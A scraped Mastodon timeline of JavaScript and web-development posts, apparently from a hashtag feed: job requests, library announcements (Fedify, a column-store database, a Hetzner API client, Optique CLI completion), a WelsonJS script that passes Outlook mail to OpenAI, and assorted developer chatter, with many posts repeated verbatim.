Holis, si alguien sabe por favor de algun trabajo como desarrollador full-stack o de lo que sea, le pido por favor que me avise, no estoy para nada bien económicamente y necesito conseguir un trabajo urgente...

Stacks y posiciones que manejo:
- MERN (Mongo Express React Node)
- MESN (Mongo Express Svelte Node)
- Python (Django/DRF + React/Svelte)
- Site Reliability Engineer (SRE)
- Webmaster

Holis, si alguien sabe por favor de algun trabajo como desarrollador full-stack o de lo que sea, le pido por favor que me avise, no estoy para nada bien económicamente y necesito conseguir un trabajo urgente...

Stacks y posiciones que manejo:
- MERN (Mongo Express React Node)
- MESN (Mongo Express Svelte Node)
- Python (Django/DRF + React/Svelte)
- Site Reliability Engineer (SRE)
- Webmaster

Fedify is an server framework in & . It aims to eliminate the complexity and redundant boilerplate code when building a federated server app, so that you can focus on your business logic and user experience.

The key features it provides currently are:

If you're curious, take a look at the website! There's comprehensive docs, a demo, a tutorial, example code, and more:

https://fedify.dev/

@toxi@mastodon.thi.ng

— This week I've been working on extracting, refactoring & generalizing the minimal column store database I've been using for my personal knowledge/media management toolset, and I'm happy to share it with the world now:

thi.ng/column-store

This is an in-memory column store database with:

- Customizable column storage types with configurable min/max cardinality, support for optional and/or tuple-values, default values
- Support for custom column type implementations
- Optional dictionary encoding of column values (memory & filesize saving)
- Powerful extensible multi-term query engine with built-in OR/AND/NOR/NAND operators and predicate-based matchers (column, row, partial row). Queries can be pre-built and then executed as standard JS iterables
- Optional bitfield indexing for dramatic query acceleration (esp. for complex multi-term queries)
- Dynamic adding/removing of columns
- JSON serialization with optional RLE compression (in my PKM dataset with ~20k items, the RLE compressed version is only 29% of the normal JSON serialization)

I hope the readme and code examples give a decent overview for now... I've been using the overall system for a couple of years now, but this new packaged version is still marked as _alpha_. Everything's still being worked on.

Also, for those wondering what's the point of this all and why not using SQLite etc. — I find there're many use cases for a which a pure JSON-based approach is more than sufficient (without requiring extra tools and interfacing layers). The structure/storage model and the bitfield optimizations enable very fast query performance (compared to other JSON db's I've tried in the past)...

(Including all dependencies [only some other thi.ng packages], the entire DB package is ~6KB brotli'd, 19KB uncompressed...)

TypeScript code example from the package readme (too long for alt text, link to original: https://github.com/thi-ng/umbrella/tree/develop/packages/column-store#basic-usage)
ALT text

TypeScript code example from the package readme (too long for alt text, link to original: https://github.com/thi-ng/umbrella/tree/develop/packages/column-store#basic-usage)

@Changaco@diaspodon.fr · Reply to Liberapay

On this somewhat special anniversary, I also want to state once again that Liberapay is an open project. *You* can contribute to it if you have some basic skills, and receive some money in return. There's still a lot of work to do, including quite a bit that doesn't involve programming, and plenty to learn.

Liberapay is written in , (until I can finish building what's needed to get rid of it), and as little as possible.

→ github.com/liberapay/liberapay

github.com

liberapay.com/CONTRIBUTING.md at master · liberapay/liberapay.com

Source code of the recurrent donations platform Liberapay - liberapay/liberapay.com

@aral@mastodon.ar.al

🥳 New module release: Hetzner Cloud OpenAPI Client

codeberg.org/small-tech/hetzne

This is an OpenAPI client for Node.js generated from the official Hetzner Cloud OpenAPI specification using Massimo.

Recently, while reviewing the code for Catalyst¹, I realised that the Hetzner library I was using was deprecated. The only other client library listed on Awesome Hetzner Cloud for JavaScript was updated seven years ago². So I did a bit of research and discovered that Hetzner has an official OpenAPI specification (useful little things that you can generate documentation as well as working client code from). I also discovered Massimo³, a lightweight and easy to use OpenAPI client generator.

So, anyway, a few minutes later, I had a working Node.js client generated but I thought I’d take a little more time to make it into a module in case anyone else wanted to use it.

In the process, I also created a simple web app example with Kitten⁴ where you can enter your Hetzner API key in a web interface, have it persisted to the default Kitten database⁴ and then carry out a simple call to list your servers. It’s 99 lines of code, including comments, in a single file. (Because Kitten loves you.)

The example uses the new/advanced class and event-based way of working with Kitten so you might find it interesting for that reason too (I haven’t had the chance to document this workflow properly yet). It also showcases Kitten’s Streaming HTML⁵ workflow, as well as its built-in support for semantic default styles and its first-class Markdown support.

You can see the source code for the Kitten example here:
codeberg.org/small-tech/hetzne

The cool thing is that because the client is generated from the official Hetzner OpenAPI specification, it’s one command to update it should the specification change and you can be sure it matches exactly what’s in the API documentation.

Enjoy!

💕

CC @hetzner @lenzgr

¹ catalyst.small-web.org
² github.com/hetznercloud/awesom
³ massimohttp.dev/
⁴ kitten.small-web.org/tutorials
⁵ kitten.small-web.org/tutorials

Screenshot of the Hetzner Cloud OpenAPI Client Example running in a browser at https://localhost

Heading: Cloud OpenAPI Client Example.

This is a Kitten app that demonstrates basic usage of the Hetzner Cloud OpenAPI client generated using Massimo from Hetzner's official OpenAPI specification.

H2: Setup

Label: API Token
Password input box with 64 dots

H2: Test
List servers button

Result of having pressed the button is a list of seven servers (the scrollbar indicates there are more that are not visible):

1. small-web.org (running) – CPX 11 (x86, 2 cores, 2GB RAM, 40GB storage)
2. owncast.small-web.org (running) – CPX 11 (x86, 2 cores, 2GB RAM, 40GB storage)
3. kittens.small-web.org (running) – CPX 11 (x86, 2 cores, 2GB RAM, 40GB storage)
4. kitten.small-web.org (running) – CPX 11 (x86, 2 cores, 2GB RAM, 40GB storage)
5. draw-together.small-web.org (running) – CPX 11 (x86, 2 cores, 2GB RAM, 40GB storage)
6. accessibilityforeveryone.small-web.org (running) – CPX 11 (x86, 2 cores, 2GB RAM, 40GB storage)
7. kitten-kawaii.small-web.org (running) – CPX 11 (x86, 2 cores, 2GB RAM, 40GB storage)
ALT text

Screenshot of the Hetzner Cloud OpenAPI Client Example running in a browser at https://localhost Heading: Cloud OpenAPI Client Example. This is a Kitten app that demonstrates basic usage of the Hetzner Cloud OpenAPI client generated using Massimo from Hetzner's official OpenAPI specification. H2: Setup Label: API Token Password input box with 64 dots H2: Test List servers button Result of having pressed the button is a list of seven servers (the scrollbar indicates there are more that are not visible): 1. small-web.org (running) – CPX 11 (x86, 2 cores, 2GB RAM, 40GB storage) 2. owncast.small-web.org (running) – CPX 11 (x86, 2 cores, 2GB RAM, 40GB storage) 3. kittens.small-web.org (running) – CPX 11 (x86, 2 cores, 2GB RAM, 40GB storage) 4. kitten.small-web.org (running) – CPX 11 (x86, 2 cores, 2GB RAM, 40GB storage) 5. draw-together.small-web.org (running) – CPX 11 (x86, 2 cores, 2GB RAM, 40GB storage) 6. accessibilityforeveryone.small-web.org (running) – CPX 11 (x86, 2 cores, 2GB RAM, 40GB storage) 7. kitten-kawaii.small-web.org (running) – CPX 11 (x86, 2 cores, 2GB RAM, 40GB storage)

@sir_pepe@mastodon.social

☝️ The "of" keyword in is ONLY a keyword in one specific place inside a for-of loop – everywhere else it’s just an indentifier. It can even be an identifier for a mutable variable, if you want it to be. Which means that the following works just fine:

let of = ["a", "b", "c"];

for (of of of) {
  console.log("of");
}
ALT text

let of = ["a", "b", "c"]; for (of of of) { console.log("of"); }

@lukaszkups@mastodon.social

I sometimes wonder, why no one has yet created ( or not) alternative, with as much as 1:1 interface, but with as a code language instead of ?

mastodon.social

mcc (@mcc@mastodon.social)

Attached: 1 image You don't use open source software because it's better (it usually isn't). You don't use open source software because it's freer (it only sometimes is). You don't use open source software because it's got better politics (it isn't always). You use open source software because *it is the only option*. In the long run, if it isn't open source, it doesn't exist. image source: keithstack.com

@mcc@mastodon.social

You don't use open source software because it's better (it usually isn't).

You don't use open source software because it's freer (it only sometimes is).

You don't use open source software because it's got better politics (it isn't always).

You use open source software because *it is the only option*. In the long run, if it isn't open source, it doesn't exist.

image source: keithstack.com

Email explaining Adobe is abruptly discontinuing Adobe Animate in one month.
ALT text

Email explaining Adobe is abruptly discontinuing Adobe Animate in one month.

@sir_pepe@mastodon.social

☝️ The "of" keyword in is ONLY a keyword in one specific place inside a for-of loop – everywhere else it’s just an indentifier. It can even be an identifier for a mutable variable, if you want it to be. Which means that the following works just fine:

let of = ["a", "b", "c"];

for (of of of) {
  console.log("of");
}
ALT text

let of = ["a", "b", "c"]; for (of of of) { console.log("of"); }

@pcdevil@mastodon.social

👋 I'm looking for a Senior Engineer job!

🚀 I am...
- a detail oriented senior engineer with 15 years of experience
- proficient with and , , , TDD
- experienced with , Ember.js, GCP, Terraform

🔎 I'm looking for:
- a collaborative environment between engineering + product & design teams
- a Germany / EU-based remote-first company
- ability to learn and grow

🚫 no crypto, web3, big oil, gen-ai, gambling

🙇 boost appreciated!

@pcdevil@mastodon.social

👋 I'm looking for a Senior Engineer job!

🚀 I am...
- a detail oriented senior engineer with 15 years of experience
- proficient with and , , , TDD
- experienced with , Ember.js, GCP, Terraform

🔎 I'm looking for:
- a collaborative environment between engineering + product & design teams
- a Germany / EU-based remote-first company
- ability to learn and grow

🚫 no crypto, web3, big oil, gen-ai, gambling

🙇 boost appreciated!

@hisold@toot.io

IETF RFCs can now include drawings.

"SVG drawings may be included in RFCs to help explain a concept more clearly, but they should not be the only representation of that concept."

RFC 9896 defines several limitations such as no animations and no scripts. Regular SVGs can contain in a <script> tag just like HTML.

mastodon.online

RFC Editor (@rfceditor@mastodon.online)

RFC 9896: SVG in RFCs, A. Rossi, et al., https://www.rfc-editor.org/info/rfc9896 #RFC This document defines policy for the inclusion of Scalable Vector Graphics (SVG) in the definitive versions of RFCs and relevant publication formats. It contains policy requirements from RFC 7996 but removes all requirements related to using a specific SVG profile or implementation code. It also makes the 1/2

@rfceditor@mastodon.online

RFC 9896: SVG in RFCs, A. Rossi, et al., rfc-editor.org/info/rfc9896 This document defines policy for the inclusion of Scalable Vector Graphics (SVG) in the definitive versions of RFCs and relevant publication formats. It contains policy requirements from RFC 7996 but removes all requirements related to using a specific SVG profile or implementation code. It also makes the 1/2

rfc-editor.org

Information on RFC 9896 » RFC Editor

@django@social.coop


I'm a developer, have been working with , for years, exploring others as well. Hacking on wp plugin, interested in

language nerd: native bilingual , English, hablo español, falo portugues, foghlaim gaeilge leis an ulchabhan. And smidgens of a few others.

Interests and what I might post about: , , (electro, folk, jazz), , , , ,

@paulhebert@sunny.garden
@paulhebert@sunny.garden
@aral@mastodon.ar.al

So guess who wrote a convoluted date comparison conditional instead of using `Temporal.ZonedDateTime.compare()` like an intelligent human being and ended up hitting an edge case where future scheduled calls started getting cleaned off the database instead of past ones?

I’ll give you a hint: has two thumbs and his name is Aral 🤦‍♂️

Anyway, just restored things from yesterday’s backup and sent a direct message to everyone scheduled for a Gaza Verified video verification call apologising for the confusion and explaining what happened.

Moral of the story: stick to the Temporal API and use its methods if you’re implementing anything even remotely non-trivial involving dates, especially if there are timezones involved. (You can use a Temporal API polyfill in Node.js – I’ve been using temporal-polyfill.)

Now I’m going to expire for the evening.

💕

@aral@mastodon.ar.al

So guess who wrote a convoluted date comparison conditional instead of using `Temporal.ZonedDateTime.compare()` like an intelligent human being and ended up hitting an edge case where future scheduled calls started getting cleaned off the database instead of past ones?

I’ll give you a hint: has two thumbs and his name is Aral 🤦‍♂️

Anyway, just restored things from yesterday’s backup and sent a direct message to everyone scheduled for a Gaza Verified video verification call apologising for the confusion and explaining what happened.

Moral of the story: stick to the Temporal API and use its methods if you’re implementing anything even remotely non-trivial involving dates, especially if there are timezones involved. (You can use a Temporal API polyfill in Node.js – I’ve been using temporal-polyfill.)

Now I’m going to expire for the evening.

💕

@paulhebert@sunny.garden
@gnh1201@hackers.pub

주고받는 이메일 데이터에 AI를 활용하는 것에 대한 이야기가 나왔다.

하지만, 이걸 위해 메일 서버를 별도로 구축하거나, 메일 클라이언트와 검색 기능 등을 별도로 코딩하기에는 아무리 AI Code Generation을 쓴다고 해도, 쓸만한 결과물이 나오기까지의 과정이 여간 쉬운 일이 아니다.

결국, 이메일과 관련된 모든 기능이 이미 있는 "MS Office"에 붙어서 바로 코딩할 수 있는 JS 프레임워크를 이용하기로 했다.

MS Outlook의 메일을 AI로 분석하는 실제 예시

// Analyze Microsoft Outlook data with ChatGPT
// Require: WelsonJS framework (https://github.com/gnh1201/welsonjs)
// Workflow: Microsoft Outlook -> OpenAI -> Get Response
var Office = require("lib/msoffice");
var LIE = require("lib/language-inference-engine");

function main(args) {
    var prompt_texts = [];

    var keyword = "example.com";
    var maxCount = 10;
    var previewLen = 160;

    console.log("Searching mails by sender OR recipient contains: '" + keyword + "'.");
    console.log("This test uses Restrict (Sender/To/CC/BCC) + Recipients verification.");
    console.log("Body preview length: " + previewLen);

    var outlook = new Office.Outlook();
    outlook.open();
    outlook.selectFolder(Office.Outlook.Folders.Inbox);

    var results = outlook.searchBySenderOrRecipientContains(keyword);
    console.log("Printing search results. (max " + maxCount + ")");

    results.forEach(function (m, i) {
        var body = String(m.getBody() || "");
        var preview = body.replace(/\r/g, "").replace(/\n+/g, " ").substr(0, previewLen);
        
        var text = "#" + String(i) +
            " | From: " + String(m.getSenderEmailAddress()) +
            " | To: " + String(m.mail.To || "") +
            " | Subject: " + String(m.getSubject()) +
            " | Received: " + String(m.getReceivedTime());

        console.log(text);
        console.log("  Body: " + preview);
        
        // Add an email data to the prompt text context
        prompt_texts.push(text);
        
        // The body to reduce token usage and avoid sending overly large/sensitive content.
        var bodyForPrompt = body;
        var maxBodyLengthForPrompt = 2000; // Keep the body snippet short
        if (bodyForPrompt.length > maxBodyLengthForPrompt) {
            bodyForPrompt = bodyForPrompt.substring(0, maxBodyLengthForPrompt) + "...";
        }
        prompt_texts.push("  Body: " + bodyForPrompt);
    }, maxCount);

    outlook.close();

    // build a AI prompt text
    var instruction_text = "This is an email exchange between the buyer and me, and I would appreciate it if you could help me write the most appropriate reply.";
    prompt_texts.push(instruction_text);

    // complete the prompt text
    var prompt_text_completed = prompt_texts.join("\r\n");

    //console.log(prompt_text_completed);  // print all prompt text

    // get a response from AI
    var response_text = LIE.create().setProvider("openai").inference(prompt_text_completed, 0).join(' ');

    console.log(response_text);
}

exports.main = main;

실행 방법

1. CLI 사용

모든 작성 및 저장을 마친 후, 다음 명령을 통해 실행한다. (outlook_ai.js 파일로 저장했을 때.

cscript app.js outlook_ai

2. GUI 사용

모든 작성 및 저장을 마친 후, WelsonJS Launcher 앱을 통해 실행한다.

실행하면 어떤 결과가 나오는가?

메일 내용에는 개인정보가 포함되어 있으므로 예시는 따로 첨부하지 않았다.

위 코드의 작업이 성공하면 메일 내용이 출력되면서, OpenAI 서버에서 분석을 마친 결과값을 얻어올 수 있다.

@paulhebert@sunny.garden

I'm migrating from another instance, so it's time again!

I'm Fabio, a software developer originally from based in Toronto. I work mostly with and but I'm always trying new languages and stacks.

I'm very much an skeptic – borderline hater when it comes to AI "art". Yes, I know the tools, hence my opinion.

I make music sometimes using , , and I also play live

I'm openly , and

@paulhebert@sunny.garden
@celesteh@hachyderm.io

Is there, like, a javascript library for manipulating midi files?

I was going to write a format converter in Python, but then I thought it would be a lot more useful to more organ grinders if it could run in a web page.

Webmidi js is super cool, but, like only does a small part of what i need from a midi library.

@celesteh@hachyderm.io

Is there, like, a javascript library for manipulating midi files?

I was going to write a format converter in Python, but then I thought it would be a lot more useful to more organ grinders if it could run in a web page.

Webmidi js is super cool, but, like only does a small part of what i need from a midi library.

@chemaunch@mastodon.social

🔽 "Sailor of the Mist" ya está disponible.

sinestesiagamedesign.es/teachi

🌐 Pequeño juego web.
🦖 Similar a "el del dinosaurio" de Google.

📕 Breve historia.
👻 Atmósfera tenebrosa.
🎧 Ambientación sonora.
🤗 Dificultad accesible.
⏳ Superable en diez minutos.

🤓 Utiliza sólo HTML, CSS y Javascript.
❌ Sin canvas ni librerías de terceros.
❌ Sin IA ni código generado.

sinestesiagamedesign.es

Sailor of the Mist

@louis@theforkiverse.com
@louis@theforkiverse.com
@louis@theforkiverse.com
@lobsters@mastodon.social

hackers.pub

Your CLI's completion should know what options you've already typed

Consider Git's -C option: git -C /path/to/repo checkout <TAB> When you hit Tab, Git completes branch names from /path/to/repo, not yourcurrent directory. The completion is context-aware—it depends on the value ofanother option. Most CLI parsers can't do this. They treat each option in isolation, socompletion for --branch has no way of knowing the --repo value. You end upwith two unpleasant choices: either show completions for all possiblebranches across all repositories (useless), or give up on completion entirelyfor these options. Optique 0.10.0 introduces a dependency system that solves this problem whilepreserving full type safety. Static dependencies with or() Optique already handles certain kinds of dependent options via the or()combinator: import { flag, object, option, or, string } from "@optique/core";const outputOptions = or( object({ json: flag("--json"), pretty: flag("--pretty"), }), object({ csv: flag("--csv"), delimiter: option("--delimiter", string()), }),); TypeScript knows that if json is true, you'll have a pretty field, and ifcsv is true, you'll have a delimiter field. The parser enforces this atruntime, and shell completion will suggest --pretty only when --json ispresent. This works well when the valid combinations are known at definition time. Butit can't handle cases where valid values depend on runtime input—likebranch names that vary by repository. Runtime dependencies Common scenarios include: A deployment CLI where --environment affects which services are available A database tool where --connection affects which tables can be completed A cloud CLI where --project affects which resources are shown In each case, you can't know the valid values until you know what the usertyped for the dependency option. Optique 0.10.0 introduces dependency() andderive() to handle exactly this. The dependency system The core idea is simple: mark one option as a dependency source, then createderived parsers that use its value. import { choice, dependency, message, object, option, string,} from "@optique/core";function getRefsFromRepo(repoPath: string): string[] { // In real code, this would read from the Git repository return ["main", "develop", "feature/login"];}// Mark as a dependency sourceconst repoParser = dependency(string());// Create a derived parserconst refParser = repoParser.derive({ metavar: "REF", factory: (repoPath) => { const refs = getRefsFromRepo(repoPath); return choice(refs); }, defaultValue: () => ".",});const parser = object({ repo: option("--repo", repoParser, { description: message`Path to the repository`, }), ref: option("--ref", refParser, { description: message`Git reference`, }),}); The factory function is where the dependency gets resolved. It receives theactual value the user provided for --repo and returns a parser that validatesagainst refs from that specific repository. Under the hood, Optique uses a three-phase parsing strategy: Parse all options in a first pass, collecting dependency values Call factory functions with the collected values to create concrete parsers Re-parse derived options using those dynamically created parsers This means both validation and completion work correctly—if the user hasalready typed --repo /some/path, the --ref completion will show refs fromthat path. Repository-aware completion with @optique/git The @optique/git package provides async value parsers that read from Gitrepositories. Combined with the dependency system, you can build CLIs withrepository-aware completion: import { command, dependency, message, object, option, string,} from "@optique/core";import { gitBranch } from "@optique/git";const repoParser = dependency(string());const branchParser = repoParser.deriveAsync({ metavar: "BRANCH", factory: (repoPath) => gitBranch({ dir: repoPath }), defaultValue: () => ".",});const checkout = command( "checkout", object({ repo: option("--repo", repoParser, { description: message`Path to the repository`, }), branch: option("--branch", branchParser, { description: message`Branch to checkout`, }), }),); Now when you type my-cli checkout --repo /path/to/project --branch <TAB>, thecompletion will show branches from /path/to/project. The defaultValue of"." means that if --repo isn't specified, it falls back to the currentdirectory. Multiple dependencies Sometimes a parser needs values from multiple options. The deriveFrom()function handles this: import { choice, dependency, deriveFrom, message, object, option,} from "@optique/core";function getAvailableServices(env: string, region: string): string[] { return [`${env}-api-${region}`, `${env}-web-${region}`];}const envParser = dependency(choice(["dev", "staging", "prod"] as const));const regionParser = dependency(choice(["us-east", "eu-west"] as const));const serviceParser = deriveFrom({ dependencies: [envParser, regionParser] as const, metavar: "SERVICE", factory: (env, region) => { const services = getAvailableServices(env, region); return choice(services); }, defaultValues: () => ["dev", "us-east"] as const,});const parser = object({ env: option("--env", envParser, { description: message`Deployment environment`, }), region: option("--region", regionParser, { description: message`Cloud region`, }), service: option("--service", serviceParser, { description: message`Service to deploy`, }),}); The factory receives values in the same order as the dependency array. Ifsome dependencies aren't provided, Optique uses the defaultValues. Async support Real-world dependency resolution often involves I/O—reading from Gitrepositories, querying APIs, accessing databases. Optique provides asyncvariants for these cases: import { dependency, string } from "@optique/core";import { gitBranch } from "@optique/git";const repoParser = dependency(string());const branchParser = repoParser.deriveAsync({ metavar: "BRANCH", factory: (repoPath) => gitBranch({ dir: repoPath }), defaultValue: () => ".",}); The @optique/git package uses isomorphic-git under the hood, sogitBranch(), gitTag(), and gitRef() all work in both Node.js and Deno. There's also deriveSync() for when you need to be explicit about synchronousbehavior, and deriveFromAsync() for multiple async dependencies. Wrapping up The dependency system lets you build CLIs where options are aware of eachother—not just for validation, but for shell completion too. You get typesafety throughout: TypeScript knows the relationship between your dependencysources and derived parsers, and invalid combinations are caught at compiletime. This is particularly useful for tools that interact with external systems wherethe set of valid values isn't known until runtime. Git repositories, cloudproviders, databases, container registries—anywhere the completion choicesdepend on context the user has already provided. This feature will be available in Optique 0.10.0. To try the pre-release: deno add jsr:@optique/core@0.10.0-dev.311 Or with npm: npm install @optique/core@0.10.0-dev.311 See the documentation for more details.

@lobsters@mastodon.social

hackers.pub

Your CLI's completion should know what options you've already typed

Consider Git's -C option: git -C /path/to/repo checkout <TAB> When you hit Tab, Git completes branch names from /path/to/repo, not yourcurrent directory. The completion is context-aware—it depends on the value ofanother option. Most CLI parsers can't do this. They treat each option in isolation, socompletion for --branch has no way of knowing the --repo value. You end upwith two unpleasant choices: either show completions for all possiblebranches across all repositories (useless), or give up on completion entirelyfor these options. Optique 0.10.0 introduces a dependency system that solves this problem whilepreserving full type safety. Static dependencies with or() Optique already handles certain kinds of dependent options via the or()combinator: import { flag, object, option, or, string } from "@optique/core";const outputOptions = or( object({ json: flag("--json"), pretty: flag("--pretty"), }), object({ csv: flag("--csv"), delimiter: option("--delimiter", string()), }),); TypeScript knows that if json is true, you'll have a pretty field, and ifcsv is true, you'll have a delimiter field. The parser enforces this atruntime, and shell completion will suggest --pretty only when --json ispresent. This works well when the valid combinations are known at definition time. Butit can't handle cases where valid values depend on runtime input—likebranch names that vary by repository. Runtime dependencies Common scenarios include: A deployment CLI where --environment affects which services are available A database tool where --connection affects which tables can be completed A cloud CLI where --project affects which resources are shown In each case, you can't know the valid values until you know what the usertyped for the dependency option. Optique 0.10.0 introduces dependency() andderive() to handle exactly this. The dependency system The core idea is simple: mark one option as a dependency source, then createderived parsers that use its value. import { choice, dependency, message, object, option, string,} from "@optique/core";function getRefsFromRepo(repoPath: string): string[] { // In real code, this would read from the Git repository return ["main", "develop", "feature/login"];}// Mark as a dependency sourceconst repoParser = dependency(string());// Create a derived parserconst refParser = repoParser.derive({ metavar: "REF", factory: (repoPath) => { const refs = getRefsFromRepo(repoPath); return choice(refs); }, defaultValue: () => ".",});const parser = object({ repo: option("--repo", repoParser, { description: message`Path to the repository`, }), ref: option("--ref", refParser, { description: message`Git reference`, }),}); The factory function is where the dependency gets resolved. It receives theactual value the user provided for --repo and returns a parser that validatesagainst refs from that specific repository. Under the hood, Optique uses a three-phase parsing strategy: Parse all options in a first pass, collecting dependency values Call factory functions with the collected values to create concrete parsers Re-parse derived options using those dynamically created parsers This means both validation and completion work correctly—if the user hasalready typed --repo /some/path, the --ref completion will show refs fromthat path. Repository-aware completion with @optique/git The @optique/git package provides async value parsers that read from Gitrepositories. Combined with the dependency system, you can build CLIs withrepository-aware completion: import { command, dependency, message, object, option, string,} from "@optique/core";import { gitBranch } from "@optique/git";const repoParser = dependency(string());const branchParser = repoParser.deriveAsync({ metavar: "BRANCH", factory: (repoPath) => gitBranch({ dir: repoPath }), defaultValue: () => ".",});const checkout = command( "checkout", object({ repo: option("--repo", repoParser, { description: message`Path to the repository`, }), branch: option("--branch", branchParser, { description: message`Branch to checkout`, }), }),); Now when you type my-cli checkout --repo /path/to/project --branch <TAB>, thecompletion will show branches from /path/to/project. The defaultValue of"." means that if --repo isn't specified, it falls back to the currentdirectory. Multiple dependencies Sometimes a parser needs values from multiple options. The deriveFrom()function handles this: import { choice, dependency, deriveFrom, message, object, option,} from "@optique/core";function getAvailableServices(env: string, region: string): string[] { return [`${env}-api-${region}`, `${env}-web-${region}`];}const envParser = dependency(choice(["dev", "staging", "prod"] as const));const regionParser = dependency(choice(["us-east", "eu-west"] as const));const serviceParser = deriveFrom({ dependencies: [envParser, regionParser] as const, metavar: "SERVICE", factory: (env, region) => { const services = getAvailableServices(env, region); return choice(services); }, defaultValues: () => ["dev", "us-east"] as const,});const parser = object({ env: option("--env", envParser, { description: message`Deployment environment`, }), region: option("--region", regionParser, { description: message`Cloud region`, }), service: option("--service", serviceParser, { description: message`Service to deploy`, }),}); The factory receives values in the same order as the dependency array. Ifsome dependencies aren't provided, Optique uses the defaultValues. Async support Real-world dependency resolution often involves I/O—reading from Gitrepositories, querying APIs, accessing databases. Optique provides asyncvariants for these cases: import { dependency, string } from "@optique/core";import { gitBranch } from "@optique/git";const repoParser = dependency(string());const branchParser = repoParser.deriveAsync({ metavar: "BRANCH", factory: (repoPath) => gitBranch({ dir: repoPath }), defaultValue: () => ".",}); The @optique/git package uses isomorphic-git under the hood, sogitBranch(), gitTag(), and gitRef() all work in both Node.js and Deno. There's also deriveSync() for when you need to be explicit about synchronousbehavior, and deriveFromAsync() for multiple async dependencies. Wrapping up The dependency system lets you build CLIs where options are aware of eachother—not just for validation, but for shell completion too. You get typesafety throughout: TypeScript knows the relationship between your dependencysources and derived parsers, and invalid combinations are caught at compiletime. This is particularly useful for tools that interact with external systems wherethe set of valid values isn't known until runtime. Git repositories, cloudproviders, databases, container registries—anywhere the completion choicesdepend on context the user has already provided. This feature will be available in Optique 0.10.0. To try the pre-release: deno add jsr:@optique/core@0.10.0-dev.311 Or with npm: npm install @optique/core@0.10.0-dev.311 See the documentation for more details.

@lobsters@mastodon.social

hackers.pub

Your CLI's completion should know what options you've already typed

Consider Git's -C option: git -C /path/to/repo checkout <TAB> When you hit Tab, Git completes branch names from /path/to/repo, not yourcurrent directory. The completion is context-aware—it depends on the value ofanother option. Most CLI parsers can't do this. They treat each option in isolation, socompletion for --branch has no way of knowing the --repo value. You end upwith two unpleasant choices: either show completions for all possiblebranches across all repositories (useless), or give up on completion entirelyfor these options. Optique 0.10.0 introduces a dependency system that solves this problem whilepreserving full type safety. Static dependencies with or() Optique already handles certain kinds of dependent options via the or()combinator: import { flag, object, option, or, string } from "@optique/core";const outputOptions = or( object({ json: flag("--json"), pretty: flag("--pretty"), }), object({ csv: flag("--csv"), delimiter: option("--delimiter", string()), }),); TypeScript knows that if json is true, you'll have a pretty field, and ifcsv is true, you'll have a delimiter field. The parser enforces this atruntime, and shell completion will suggest --pretty only when --json ispresent. This works well when the valid combinations are known at definition time. Butit can't handle cases where valid values depend on runtime input—likebranch names that vary by repository. Runtime dependencies Common scenarios include: A deployment CLI where --environment affects which services are available A database tool where --connection affects which tables can be completed A cloud CLI where --project affects which resources are shown In each case, you can't know the valid values until you know what the usertyped for the dependency option. Optique 0.10.0 introduces dependency() andderive() to handle exactly this. The dependency system The core idea is simple: mark one option as a dependency source, then createderived parsers that use its value. import { choice, dependency, message, object, option, string,} from "@optique/core";function getRefsFromRepo(repoPath: string): string[] { // In real code, this would read from the Git repository return ["main", "develop", "feature/login"];}// Mark as a dependency sourceconst repoParser = dependency(string());// Create a derived parserconst refParser = repoParser.derive({ metavar: "REF", factory: (repoPath) => { const refs = getRefsFromRepo(repoPath); return choice(refs); }, defaultValue: () => ".",});const parser = object({ repo: option("--repo", repoParser, { description: message`Path to the repository`, }), ref: option("--ref", refParser, { description: message`Git reference`, }),}); The factory function is where the dependency gets resolved. It receives theactual value the user provided for --repo and returns a parser that validatesagainst refs from that specific repository. Under the hood, Optique uses a three-phase parsing strategy: Parse all options in a first pass, collecting dependency values Call factory functions with the collected values to create concrete parsers Re-parse derived options using those dynamically created parsers This means both validation and completion work correctly—if the user hasalready typed --repo /some/path, the --ref completion will show refs fromthat path. Repository-aware completion with @optique/git The @optique/git package provides async value parsers that read from Gitrepositories. Combined with the dependency system, you can build CLIs withrepository-aware completion: import { command, dependency, message, object, option, string,} from "@optique/core";import { gitBranch } from "@optique/git";const repoParser = dependency(string());const branchParser = repoParser.deriveAsync({ metavar: "BRANCH", factory: (repoPath) => gitBranch({ dir: repoPath }), defaultValue: () => ".",});const checkout = command( "checkout", object({ repo: option("--repo", repoParser, { description: message`Path to the repository`, }), branch: option("--branch", branchParser, { description: message`Branch to checkout`, }), }),); Now when you type my-cli checkout --repo /path/to/project --branch <TAB>, thecompletion will show branches from /path/to/project. The defaultValue of"." means that if --repo isn't specified, it falls back to the currentdirectory. Multiple dependencies Sometimes a parser needs values from multiple options. The deriveFrom()function handles this: import { choice, dependency, deriveFrom, message, object, option,} from "@optique/core";function getAvailableServices(env: string, region: string): string[] { return [`${env}-api-${region}`, `${env}-web-${region}`];}const envParser = dependency(choice(["dev", "staging", "prod"] as const));const regionParser = dependency(choice(["us-east", "eu-west"] as const));const serviceParser = deriveFrom({ dependencies: [envParser, regionParser] as const, metavar: "SERVICE", factory: (env, region) => { const services = getAvailableServices(env, region); return choice(services); }, defaultValues: () => ["dev", "us-east"] as const,});const parser = object({ env: option("--env", envParser, { description: message`Deployment environment`, }), region: option("--region", regionParser, { description: message`Cloud region`, }), service: option("--service", serviceParser, { description: message`Service to deploy`, }),}); The factory receives values in the same order as the dependency array. Ifsome dependencies aren't provided, Optique uses the defaultValues. Async support Real-world dependency resolution often involves I/O—reading from Gitrepositories, querying APIs, accessing databases. Optique provides asyncvariants for these cases: import { dependency, string } from "@optique/core";import { gitBranch } from "@optique/git";const repoParser = dependency(string());const branchParser = repoParser.deriveAsync({ metavar: "BRANCH", factory: (repoPath) => gitBranch({ dir: repoPath }), defaultValue: () => ".",}); The @optique/git package uses isomorphic-git under the hood, sogitBranch(), gitTag(), and gitRef() all work in both Node.js and Deno. There's also deriveSync() for when you need to be explicit about synchronousbehavior, and deriveFromAsync() for multiple async dependencies. Wrapping up The dependency system lets you build CLIs where options are aware of eachother—not just for validation, but for shell completion too. You get typesafety throughout: TypeScript knows the relationship between your dependencysources and derived parsers, and invalid combinations are caught at compiletime. This is particularly useful for tools that interact with external systems wherethe set of valid values isn't known until runtime. Git repositories, cloudproviders, databases, container registries—anywhere the completion choicesdepend on context the user has already provided. This feature will be available in Optique 0.10.0. To try the pre-release: deno add jsr:@optique/core@0.10.0-dev.311 Or with npm: npm install @optique/core@0.10.0-dev.311 See the documentation for more details.

@rxf4e1@mastodon.social

I need to create a webapp that gets data from a csv file and stores in sqlite db, and this db data has to fill a docx template file. Which language is better for the job?
or ?

@NovemDecimal@sunny.garden

Heyyy, I'm Novem. I am a returning member of the Fediverse.

